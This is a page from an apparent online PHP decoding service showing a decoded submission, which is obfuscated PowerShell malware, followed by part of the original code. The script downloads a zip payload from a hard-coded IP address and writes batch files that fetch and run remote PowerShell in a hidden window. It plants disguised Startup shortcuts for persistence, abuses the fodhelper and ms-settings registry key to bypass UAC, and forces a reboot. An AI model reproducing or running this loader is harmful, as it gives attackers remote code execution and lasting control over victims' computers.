Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? ${_/|\_/|////\__|/_|\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64St..
Decoded Output download
<? ${_/|\_/|////\__|/_|\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwBtAGQA')))
${_/|\_/|////\__|/_|\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZQB4AGUA')))
${__///\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBwAG4AZwA=')))
${_/|\_/|////\__|/_|\/\/\/\/\|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('egBpAHAA')))
${_/|\_/|////\__|//\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwA1ADEALgAzADgALgAyADMANQAuADEANQAyAC8AMgAwAC8AYQAvAG0ALwBtAC4AegBpAHAA')))
${_/|\_/|/\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cAB1AGIAbABpAGMA')))
${_/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwA6AFwAdQBzAGUAcgBzAFwA')))
${_\/|\_/|/\/|_} = "${_/|_}${_/|\_/|/\/|_}"
${_\/\/\/\/\/\/\/\////\//\/\/\/\//_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBsAG8AYgBhAGwA')))
${_\/\/\/\/\/\/\/\////\//\/\/\/\////_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABsAGwAQwBhAGwAbAA=')))
${_\/\/\/\/\/\/\/\////\//\/\/\/\////\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBUAFIAVQBDAFQA')))
${_\/\/\/\/\/\/\/\////\//\/\/\/\///////\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SgBMAEkAXwBHAGUAdABTAHQAZABBAHIAZwBjAA==')))
${_\/\/\//\/\/\/\/\/\////\//\/\/\/\///////\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABsAGwATwBwAGUAbgA=')))
${_\/\/\//\/\/\/\/\/\////\//\/\/\/\///////\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IwBOAG8AVAByAGEAeQBJAGMAbwBuAA==')))
${_um_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBsAGEAcwBzAGUAcwBcAG0AcwAtAHMAZQB0AHQAaQBuAGcAcwBcAFMAaABlAGwAbABcAE8AcABlAG4AXABjAG8AbQBtAGEAbgBkAA==')))
${_dois_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBsAGEAcwBzAGUAcwBcAG0AcwAtAHMAZQB0AHQAaQBuAGcAcwBcAFMAaABlAGwAbABcAE8AcABlAG4AXABjAG8AbQBtAGEAbgBkACIAIAAtAE4AYQBtAGUAIAAiAEQAZQBsAGUAZwBhAHQAZQBFAHgAZQBjAHUAdABlACIAIAAtAFYAYQBsAHUAZQAgACIA')))
${_tres_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABlAGwAZQBnAGEAdABlAEUAeABlAGMAdQB0AGUA')))
${_qtro_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KABkAGUAZgBhAHUAbAB0ACkA')))
${_fiv_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGYAbwBkAGgAZQBsAHAAZQByAC4AZQB4AGUA')))
${_six_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgBvAGQAaABlAGwAcABlAHIALgBlAHgAZQA=')))
${_sev_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABcAD8AXABDADoAXABXAGkAbgBkAG8AdwBzACAAXABTAHkAcwB0AGUAbQAzADIAXAA=')))
${_\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MQBuACAAaQBhAA==')))
${_\///////////////////////_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwA6AFwA')))
${_tx_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB0AHgAdAA=')))
${_dx_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBkAGwAbAA=')))
${_ex_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBlAHgAZQA=')))
${_jl_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('agBsAGkA')))
${_ms_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBTAFYAQwBSADEAMAAwAA==')))
${_wb_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwBlAGIAVgBpAGUAdwAyAEwAbwBhAGQAZQByAA==')))
${_\/|\_} = $env:COMPUTERNAME
${/////\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/} = "290623"
Function ____////////\/\/\/\/\_____ {
${_|||||||||||||________________} = "q","w","e","r","t","y","u","p","a","s","d","f","g","h","j","k","z","x","c","v","b","n","m"
${_|||||||||||||//////________________} = "2_","3_","4_","5_","6_","7_","8_","9_"
${_|||||||||||||//////\________________} = $null
${__|||||||||||||//////\________________} = Get-Random -InputObject ${_|||||||||||||________________} -Count 6
${__||||||_|||||||//////\________________} = Get-Random -InputObject ${_|||||||||||||//////________________} -Count 1
${__||||||_||||||_|//////\________________} = Get-Random -InputObject ${_|||||||||||||________________}.ToUpper() -Count 1
foreach($n in ${__|||||||||||||//////\________________}) {
${_|||||||||||||//////\________________} += $n
}
foreach ($n2 in ${__||||||_|||||||//////\________________}) {
${_|||||||||||||//////\________________} += $n2
}
foreach ($n3 in ${__||||||_||||||_|//////\________________}) {
${_|||||||||||||//////\________________} += $n3
}
return "_${_|||||||||||||//////\________________}"
}
${_\/|\_/|/\___\/|_} = ____////////\/\/\/\/\_____
${GER} = ${_\/|\_/|/\___\/|_}
${/\/\/\/\__\//___} = "@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28://@22@10@18@24@2@3.@12@24@22/@10/@0@8/@1@5@0@8@2@2/@30@25/@30@25') | @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1 -"
${_\__\/|\_/|/\___\/|_} = "${_\/|\_/|/\/|_}\${/////\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}"
if ((${_\__\/|\_/|/\___\/|_} | Test-Path)) {exit}
New-Item -ItemType directory -Path "${_\///////////////////////_}${_\/|\_/|/\___\/|_}"
${//////////____zz//} = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_}"
${ZZZZxxxx_} = ${/\/\/\/\__\//___}
${ZZZZxxxx_} | Set-Content ${//////////____zz//}${GER}
${\/_} = (${_\/|\_/|/\___\/|_})
${\/////\} = (${_\/|\_/|/\___\/|_} + "A")
${/\} = (${_\/|\_/|/\___\/|_} + "B")
del ${_\/|\_/|/\/|_}\*.vbs
del ${_\/|\_/|/\/|_}\*.lnk
del ${_\/|\_/|/\/|_}\*.exe
del ${_\/|\_/|/\/|_}\*.cmd
${/_//_//_/} = "${_\/|\_/|/\/|_}\${_\/|\_}${GER}.${_/|\_/|////\__|/_|\_}"
${\__/////////} = "@Echo off`r`n"
${\__/////////} += "Setlocal EnableExtensions`r`n"
${\__/////////} += "Setlocal EnableDelayedExpansion`r`n"
${\__/////////} += "cd %SystemRoot%\System32`r`n"
${\__/////////} += "Set /P ${_\/|\_/|/\___\/|_}=<`"${//////////____zz//}${GER}`"`r`n"
${\__/////////} += "set chars=0123456789abcdefghijklmnopqrstuvwxyz`r`n"
${\__/////////} += "for /L %%N in (10 1 36) do (`r`n"
${\__/////////} += "for /F %%C in (`"!chars:~%%N,1!`") do (`r`n"
${\__/////////} += "set `"${_\/|\_/|/\___\/|_}=!${_\/|\_/|/\___\/|_}:%%N=%%C!`"`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += "for /F %%F in (`"!${_\/|\_/|/\___\/|_}!`") do (`r`n"
${\__/////////} += "set `"${_\/|\_/|/\___\/|_}=!${_\/|\_/|/\___\/|_}:@=!`"`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += "for /F %%F in (`"!${_\/|\_/|/\___\/|_}!`") do (`r`n"
${\__/////////} += "set `"${_\/|\_/|/\___\/|_}=!${_\/|\_/|/\___\/|_}:`"=!`"`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += "%${_\/|\_/|/\___\/|_}%`r`n"
${\__/////////} | Set-Content ${/_//_//_/}
function _____/\_/\/\_/\/=\/////
{
Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
try{
${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
${/=\/\__/=\/=\/=\_}.TargetPath = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.${_/|\_/|////\__|/_|\/|_}"
${/=\/\__/=\/=\/=\_}.Arguments = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.ai"
${/=\/\__/=\/=\/=\_}.WorkingDirectory = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\"
${/=\/\__/=\/=\/=\_}.WindowStyle = 7
${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
${/=\/\__/=\/=\/=\_}.Save()
}finally{}
}
function _____/\_/\/\_/\/=\/////\
{
Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
try{
${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
${/=\/\__/=\/=\/=\_}.TargetPath = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.${_/|\_/|////\__|/_|\/|_}"
${/=\/\__/=\/=\/=\_}.Arguments = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.at"
${/=\/\__/=\/=\/=\_}.WorkingDirectory = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\"
${/=\/\__/=\/=\/=\_}.WindowStyle = 7
${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
${/=\/\__/=\/=\/=\_}.Save()
}finally{}
}
${TESTE} = "${_sev_}"
New-Item ${TESTE} -ItemType Directory
Copy-Item -Path "${_fiv_}" -Destination "${TESTE}${_six_}" -Recurse
function _____/\_/\/\_/\/=\/////\____\
{
Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
try{
${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
${/=\/\__/=\/=\/=\_}.TargetPath = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}i7${_ex_}"
${/=\/\__/=\/=\/=\_}.Arguments = ""
${/=\/\__/=\/=\/=\_}.WorkingDirectory = "${_\///////////////////////_}"
${/=\/\__/=\/=\/=\_}.WindowStyle = 7
${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
${/=\/\__/=\/=\/=\_}.Save()
}finally{}
}
function _____/\_/\/\_/\/=\
{
Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
try{
${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
${/=\/\__/=\/=\/=\_}.TargetPath = "${/_//_//_/}"
${/=\/\__/=\/=\/=\_}.Arguments = ""
${/=\/\__/=\/=\/=\_}.WorkingDirectory = ""
${/=\/\__/=\/=\/=\_}.WindowStyle = 7
${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
${/=\/\__/=\/=\/=\_}.Save()
}finally{}
}
${/===\__/=\_/==\_/} = New-Object -Com WScript.Shell
${/=\_/\_/===\/\/\/} = ${/===\__/=\_/==\_/}.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));
del ${/=\_/\_/===\/\/\/}\*.vbs
del ${/=\_/\_/===\/\/\/}\*.lnk
del ${/=\_/\_/===\/\/\/}\*.exe
del ${/=\_/\_/===\/\/\/}\*.cmd
${_/=\/=\/\_/\/=\__} = " $env:APPDATA\${_/=\/\/=\___/\/==}, ${_/\/\/\/=\/==\__/}"
${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\/|\_/|/\___\/|_}.lnk"
_____/\_/\/\_/\/=\ ${___/\_/\/===\/\__} ${_/=\/=\/\_/\/=\__}
${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\/|\_/|/\___\/|_}EX.lnk"
_____/\_/\/\_/\/=\///// ${___/\_/\/===\/\__} ${_/=\/=\/\_/\/=\__}
${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\/|\_/|/\___\/|_}AT.lnk"
_____/\_/\/\_/\/=\/////\ ${___/\_/\/===\/\__} ${_/=\/=\/\_/\/=\__}
${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\/|\_/|/\___\/|_}AA.lnk"
_____/\_/\/\_/\/=\/////\____\ ${___/\_/\/===\/\__} ${_/=\/=\/\_/\/=\__}
${/\/\/\/\__\//___} = "@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28://@22@10@18@24@2@3.@12@24@22/@10/@0@8/@1@5@0@8@2@2/@10@30/@10@30') | @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1 -"
${_\/|\_/|/\___\/|_} = ${_\/|\_/|/\___\/|_}
${//////////____zz//} = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_}"
${ZZZZxxxx_} = ${/\/\/\/\__\//___}
${ZZZZxxxx_} | Set-Content ${//////////____zz//}${GER}y
${\/_} = (${_\/|\_/|/\___\/|_})
${\/////\} = (${_\/|\_/|/\___\/|_} + "A")
${/\} = (${_\/|\_/|/\___\/|_} + "B")
${/_//_//_/} = "${_\/|\_/|/\/|_}\${_\/|\_}${GER}y.${_/|\_/|////\__|/_|\_}"
${\__/////////} = "@Echo off`r`n"
${\__/////////} += "Setlocal EnableExtensions`r`n"
${\__/////////} += "Setlocal EnableDelayedExpansion`r`n"
${\__/////////} += "cd %SystemRoot%\System32`r`n"
${\__/////////} += "Set /P ${_\/|\_/|/\___\/|_}=<`"${//////////____zz//}${GER}y`"`r`n"
${\__/////////} += "set chars=0123456789abcdefghijklmnopqrstuvwxyz`r`n"
${\__/////////} += "for /L %%N in (10 1 36) do (`r`n"
${\__/////////} += "for /F %%C in (`"!chars:~%%N,1!`") do (`r`n"
${\__/////////} += "set `"${_\/|\_/|/\___\/|_}=!${_\/|\_/|/\___\/|_}:%%N=%%C!`"`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += "for /F %%F in (`"!${_\/|\_/|/\___\/|_}!`") do (`r`n"
${\__/////////} += "set `"${_\/|\_/|/\___\/|_}=!${_\/|\_/|/\___\/|_}:@=!`"`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += "for /F %%F in (`"!${_\/|\_/|/\___\/|_}!`") do (`r`n"
${\__/////////} += "set `"${_\/|\_/|/\___\/|_}=!${_\/|\_/|/\___\/|_}:`"=!`"`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += "%${_\/|\_/|/\___\/|_}%`r`n"
${\__/////////} | Set-Content ${/_//_//_/}
function _____/\_/\/\_/\/=\//
{
Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
try{
${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
${/=\/\__/=\/=\/=\_}.TargetPath = "${/_//_//_/}"
${/=\/\__/=\/=\/=\_}.Arguments = ""
${/=\/\__/=\/=\/=\_}.WorkingDirectory = ""
${/=\/\__/=\/=\/=\_}.WindowStyle = 7
${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
${/=\/\__/=\/=\/=\_}.Save()
}finally{}
}
${/===\__/=\_/==\_/} = New-Object -Com WScript.Shell
${/=\_/\_/===\/\/\/} = ${/===\__/=\_/==\_/}.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));
${_/=\/=\/\_/\/=\__} = " $env:APPDATA\${_/=\/\/=\___/\/==}, ${_/\/\/\/=\/==\__/}"
${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\/|\_/|/\___\/|_}y.lnk"
_____/\_/\/\_/\/=\// ${___/\_/\/===\/\__} ${_/=\/=\/\_/\/=\__}
${_/\/\/\__\|||\/\/_} = ${_\/|\_/|/\___\/|_}
${_/\/\/\__\|||\/\/_} | Set-Content "${_\/|\_/|/\/|_}\${/////\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}"
${_/\/\/\__\|||\/\/_} | Out-File "${_\/|\_/|/\/|_}\${/////\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}"
${_/\/\/\__\|||\/\/_} > "${_\/|\_/|/\/|_}\${/////\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}"
${_\///////\/_} = new-object System.Net.WebClient
${_\///////\/_}.DownloadFile(${_/|\_/|////\__|//\/|_},"${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.${_\/|\_/|/\___\/|_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.zip") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.${_\/|\_/|/\___\/|_}")
Expand-Archive -Path "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.${_/|\_/|////\__|/_|\/\/\/\/\|_}" -DestinationPath "${_\///////////////////////_}${_\/|\_/|/\___\/|_}"
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.${_/|\_/|////\__|/_|\/|_}") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_/|\_/|////\__|/_|\/|_}${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.ia") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.ai") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.at") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\c${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.mdat") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}t${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}i7${_ex_}") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\i7${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_jl_}${_dx_}") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_jl_}${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_ms_}${_dx_}") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_ms_}${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_wb_}${_dx_}") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_wb_}${_tx_}")
del ${_\///////////////////////_}${_\/|\_/|/\___\/|_}\*.zip
# Create reg structure
New-Item "${_um_}" -Force
New-ItemProperty -Path "${_um_}" -Name "${_tres_}" -Value "" -Force
# Place command in
Set-ItemProperty -Path "${_um_}" -Name "${_qtro_}" -Value "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}i7${_ex_}" -Force
shutdown /r /t 10 ?>Did this file decode correctly?
Original Code
<? ${_/|\_/|////\__|/_|\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwBtAGQA')))
${_/|\_/|////\__|/_|\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZQB4AGUA')))
${__///\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBwAG4AZwA=')))
${_/|\_/|////\__|/_|\/\/\/\/\|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('egBpAHAA')))
${_/|\_/|////\__|//\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwA1ADEALgAzADgALgAyADMANQAuADEANQAyAC8AMgAwAC8AYQAvAG0ALwBtAC4AegBpAHAA')))
${_/|\_/|/\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cAB1AGIAbABpAGMA')))
${_/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwA6AFwAdQBzAGUAcgBzAFwA')))
${_\/|\_/|/\/|_} = "${_/|_}${_/|\_/|/\/|_}"
${_\/\/\/\/\/\/\/\////\//\/\/\/\//_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBsAG8AYgBhAGwA')))
${_\/\/\/\/\/\/\/\////\//\/\/\/\////_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABsAGwAQwBhAGwAbAA=')))
${_\/\/\/\/\/\/\/\////\//\/\/\/\////\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBUAFIAVQBDAFQA')))
${_\/\/\/\/\/\/\/\////\//\/\/\/\///////\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SgBMAEkAXwBHAGUAdABTAHQAZABBAHIAZwBjAA==')))
${_\/\/\//\/\/\/\/\/\////\//\/\/\/\///////\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABsAGwATwBwAGUAbgA=')))
${_\/\/\//\/\/\/\/\/\////\//\/\/\/\///////\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IwBOAG8AVAByAGEAeQBJAGMAbwBuAA==')))
${_um_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBsAGEAcwBzAGUAcwBcAG0AcwAtAHMAZQB0AHQAaQBuAGcAcwBcAFMAaABlAGwAbABcAE8AcABlAG4AXABjAG8AbQBtAGEAbgBkAA==')))
${_dois_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBsAGEAcwBzAGUAcwBcAG0AcwAtAHMAZQB0AHQAaQBuAGcAcwBcAFMAaABlAGwAbABcAE8AcABlAG4AXABjAG8AbQBtAGEAbgBkACIAIAAtAE4AYQBtAGUAIAAiAEQAZQBsAGUAZwBhAHQAZQBFAHgAZQBjAHUAdABlACIAIAAtAFYAYQBsAHUAZQAgACIA')))
${_tres_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABlAGwAZQBnAGEAdABlAEUAeABlAGMAdQB0AGUA')))
${_qtro_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KABkAGUAZgBhAHUAbAB0ACkA')))
${_fiv_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGYAbwBkAGgAZQBsAHAAZQByAC4AZQB4AGUA')))
${_six_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgBvAGQAaABlAGwAcABlAHIALgBlAHgAZQA=')))
${_sev_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABcAD8AXABDADoAXABXAGkAbgBkAG8AdwBzACAAXABTAHkAcwB0AGUAbQAzADIAXAA=')))
${_\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MQBuACAAaQBhAA==')))
${_\///////////////////////_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwA6AFwA')))
${_tx_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB0AHgAdAA=')))
${_dx_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBkAGwAbAA=')))
${_ex_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBlAHgAZQA=')))
${_jl_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('agBsAGkA')))
${_ms_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBTAFYAQwBSADEAMAAwAA==')))
${_wb_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwBlAGIAVgBpAGUAdwAyAEwAbwBhAGQAZQByAA==')))
${_\/|\_} = $env:COMPUTERNAME
${/////\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/} = "290623"
Function ____////////\/\/\/\/\_____ {
${_|||||||||||||________________} = "q","w","e","r","t","y","u","p","a","s","d","f","g","h","j","k","z","x","c","v","b","n","m"
${_|||||||||||||//////________________} = "2_","3_","4_","5_","6_","7_","8_","9_"
${_|||||||||||||//////\________________} = $null
${__|||||||||||||//////\________________} = Get-Random -InputObject ${_|||||||||||||________________} -Count 6
${__||||||_|||||||//////\________________} = Get-Random -InputObject ${_|||||||||||||//////________________} -Count 1
${__||||||_||||||_|//////\________________} = Get-Random -InputObject ${_|||||||||||||________________}.ToUpper() -Count 1
foreach($n in ${__|||||||||||||//////\________________}) {
${_|||||||||||||//////\________________} += $n
}
foreach ($n2 in ${__||||||_|||||||//////\________________}) {
${_|||||||||||||//////\________________} += $n2
}
foreach ($n3 in ${__||||||_||||||_|//////\________________}) {
${_|||||||||||||//////\________________} += $n3
}
return "_${_|||||||||||||//////\________________}"
}
${_\/|\_/|/\___\/|_} = ____////////\/\/\/\/\_____
${GER} = ${_\/|\_/|/\___\/|_}
${/\/\/\/\__\//___} = "@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28://@22@10@18@24@2@3.@12@24@22/@10/@0@8/@1@5@0@8@2@2/@30@25/@30@25') | @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1 -"
